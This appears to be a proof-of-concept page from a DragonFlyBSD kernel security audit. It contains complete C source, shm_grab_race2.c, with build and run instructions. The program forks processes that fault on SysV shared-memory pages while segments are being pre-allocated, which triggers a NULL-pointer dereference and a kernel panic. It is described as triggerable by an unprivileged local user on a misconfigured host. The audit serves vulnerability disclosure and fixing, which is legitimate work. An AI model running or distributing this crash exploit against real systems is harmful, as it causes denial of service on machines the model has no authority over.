DragonFlyBSD Kernel Audit
DF-2676 / shm_grab_race2.c
← back to finding ↓ download raw
/*
 * DF-2676 proof-of-concept (v2): NULL-pointer dereference in vm_page_grab()
 * (sys/vm/vm_page.c:3841-3882) reached from the SysV-shm pre-allocation loop
 * in shmget_allocate_segment() (sys/kern/sysv_shm.c:573-590).
 *
 * Bug: vm_page_grab() calls vm_page_lookup_busy_try(..., TRUE, &error);
 * when the page exists but is hard/soft-busy (PBUSY_LOCKED) and the caller
 * did NOT pass VM_ALLOC_RETRY, the code does:
 *
 *		m = NULL;
 *		break;
 *		...
 *	if (m->valid == 0) {		<-- NULL deref (vm_page.c:3882)
 *
 * The only in-tree caller without VM_ALLOC_RETRY is the SysV shm
 * pre-allocation loop (VM_ALLOC_SYSTEM | VM_ALLOC_NULL_OK | VM_ALLOC_ZERO),
 * which runs *after* the segment is published (sysv_shm.c:553), so a
 * concurrent shmat() + page fault on the same pindex holds the page busy
 * (vm_fault busies the page from allocation until pmap_enter/wakeup) and
 * the pre-allocation's vm_page_grab() takes the error path -> kernel
 * panics reading ((struct vm_page *)NULL)->valid.
 *
 * v2 notes: IPC_RMID is NEVER issued while faulters are alive.  Round
 * structure: [stale cleanup] -> create N segments (faulters race each
 * prealloc) -> wait for faulters to exit -> RMID everything.  This avoids
 * the unrelated sysv_shm shmat-vs-IPCRMID race (sysv_shm.c) that otherwise
 * panics the box first (vm_object_terminate2 ref_count=1).
 *
 * Preconditions: kern.ipc.shm_use_phys >= 2 (root sets it; default is 1).
 * Trigger: unprivileged local user.
 *
 * Build:  cc -O2 -Wall -o shm_grab_race2 shm_grab_race2.c
 * Run:    ./shm_grab_race2 [nsegs=60] [segmb=8] [rounds=50]
 */
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/signal.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define TOKFILE		"/tmp/.df2676b_tok"
#define NFAULT		6

static unsigned long segsz = 8UL * 1024 * 1024;
static int nsegs = 60;
static int rounds = 50;

static key_t
makekey(int i)
{
	return ftok(TOKFILE, 33 + (i % 220));
}

static void
cleanup_stale(void)
{
	int i, shmid;

	for (i = 0; i < nsegs; i++) {
		shmid = shmget(makekey(i), 0, 0);
		if (shmid >= 0)
			shmctl(shmid, IPC_RMID, NULL);
	}
}

static void
creator(void)
{
	int i, shmid;

	for (i = 0; i < nsegs; i++) {
		shmid = shmget(makekey(i), segsz, IPC_CREAT | IPC_EXCL | 0666);
		if (shmid < 0)
			continue;	/* committed space etc; skip */
		/* prealloc loop + race window run INSIDE shmget above */
	}
}

static void
faulter(int seed)
{
	int i, shmid, tries;
	char *p;
	unsigned long off, npages = segsz / 4096;

	for (i = 0; i < nsegs; i++) {
		shmid = -1;
		for (tries = 0; tries < 20000; tries++) {
			shmid = shmget(makekey(i), 0, 0);
			if (shmid >= 0)
				break;
			usleep(40);
		}
		if (shmid < 0)
			continue;
		p = shmat(shmid, NULL, 0);
		if (p == (void *)-1)
			continue;
		for (off = ((unsigned long)seed * 4096) % segsz;
		     off < segsz; off += 4096)
			p[off] = (char)1;	/* write fault */
		(void)npages;
		shmdt(p);
	}
}

int
main(int argc, char **argv)
{
	int r, i;
	pid_t pid;
	FILE *f;

	if (argc > 1)
		nsegs = atoi(argv[1]);
	if (argc > 2)
		segsz = (unsigned long)atoi(argv[2]) * 1024 * 1024;
	if (argc > 3)
		rounds = atoi(argv[3]);

	f = fopen(TOKFILE, "w");
	if (f) {
		fclose(f);
		chmod(TOKFILE, 0666);
	}

	setvbuf(stdout, NULL, _IONBF, 0);
	printf("DF-2676 v2: nsegs=%d segsz=%luMB rounds=%d faulters=%d\n",
	       nsegs, segsz / (1024 * 1024), rounds, NFAULT);

	for (r = 0; r < rounds; r++) {
		cleanup_stale();		/* no faulters alive: safe */
		for (i = 0; i < NFAULT; i++) {
			pid = fork();
			if (pid == 0) {
				faulter(i + 1);
				_exit(0);
			}
		}
		creator();
		for (i = 0; i < NFAULT; i++)
			wait(NULL);
		cleanup_stale();		/* faulters exited: safe */
		printf("round %d done\n", r);
	}
	printf("DF-2676: no panic in %d rounds\n", rounds);
	return 0;
}